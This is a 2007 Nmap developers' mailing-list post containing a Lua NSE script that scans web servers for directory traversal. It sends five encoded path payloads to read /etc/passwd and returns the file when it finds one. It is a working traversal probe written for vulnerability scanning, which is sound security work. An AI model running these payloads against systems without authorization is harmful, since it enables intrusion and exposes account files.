Nmap Development mailing list archives

Re: [NSE Script] HTTP probe for /etc/passwd


From: Kris Katterjohn <katterjohn () gmail com>
Date: Sat, 21 Jul 2007 19:05:29 -0500

Kris Katterjohn wrote:
I added a few of your ideas, and separated it into functions. It's really easy to add any other ideas now.


Okay, I made a couple more changes:

1) Use //etc/passwd instead of /etc/passwd

2) Added the one that uses \/

3) Made httpget() to avoid repeating "GET" and "HTTP/1.0\r\n\r\n"


That makes five tests. If people like it, I'll add it to SVN. Unless you have some more good ideas for me before I do :)

Thanks,
Kris Katterjohn
-- HTTP probe for /etc/passwd
-- 07/20/2007

-- Started with Thomas Buchanan's HTTPAuth.nse as a base
-- Applied some suggestions from Brandon Enright, thanks man!

id = "HTTP /etc/passwd probe"

description = "Probe for /etc/passwd if server is susceptible to directory traversal"

author = "Kris Katterjohn <katterjohn () gmail com>"

license = "Look at Nmap's COPYING"

categories = {"intrusive"}

require "shortport"

-- Check for a valid HTTP return code, and (minimally) check
-- the supposed passwd file for validity
validate = function(response)
        local passwd
        local line
        local start, stop

        -- Hopefully checking for only 200 won't bite me in the ass, but
        -- it's the only one that makes sense and I haven't seen it fail
        if string.match(response, "HTTP/1.[01] 200") then
                start, stop = string.find(response, "\r\n\r\n")
                passwd = string.sub(response, stop+1)
        else
                return
        end

        start, stop = string.find(passwd, "[\r\n]")
        line = string.sub(passwd, 1, stop)

        if string.match(line, "^[^:]+:.*:") then
                return passwd
        end

        return
end

-- Connects to host:port, send cmd, and returns the (hopefully valid) response
talk = function(host, port, cmd)
        local socket
        local response

        socket = nmap.new_socket()

        socket:connect(host.ip, port.number)

        socket:send(cmd)

        response = ""

        while true do
                local status, lines = socket:receive_lines(1)

                if not status then
                        break
                end

                response = response .. lines
        end

        socket:close()

        return validate(response)
end

httpget = function(str)
        return "GET " .. str .. " HTTP/1.0\r\n\r\n"
end

portrule = shortport.port_or_service({80, 8080}, "http")

action = function(host, port)
        local cmd, response

        -- //etc/passwd
        cmd = httpget("%2F%2Fetc%2Fpasswd")

        response = talk(host, port, cmd)

        if response then
                return response
        end

        -- ../../../../../../../../../../etc/passwd
        cmd = httpget(string.rep("%2E%2E%2F", 10) .. "etc%2Fpasswd")

        response = talk(host, port, cmd)

        if response then
                return response
        end

        -- .../../../../../../../../../../etc/passwd
        cmd = httpget("%2E" .. string.rep("%2E%2E%2F", 10) .. "etc%2Fpasswd")

        response = talk(host, port, cmd)

        if response then
                return response
        end

        -- ..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/passwd
        cmd = httpget(string.rep("%2E%2E%5C%2F", 10) .. "etc%5C%2Fpasswd")

        response = talk(host, port, cmd)

        if response then
                return response
        end

        -- ..\..\..\..\..\..\..\..\..\..\etc\passwd
        cmd = httpget(string.rep("%2E%2E%5C", 10) .. "etc%5Cpasswd")

        response = talk(host, port, cmd)

        if response then
                return response
        end

        return
end


_______________________________________________
Sent through the nmap-dev mailing list
http://cgi.insecure.org/mailman/listinfo/nmap-dev
Archived at http://SecLists.Org

Current thread: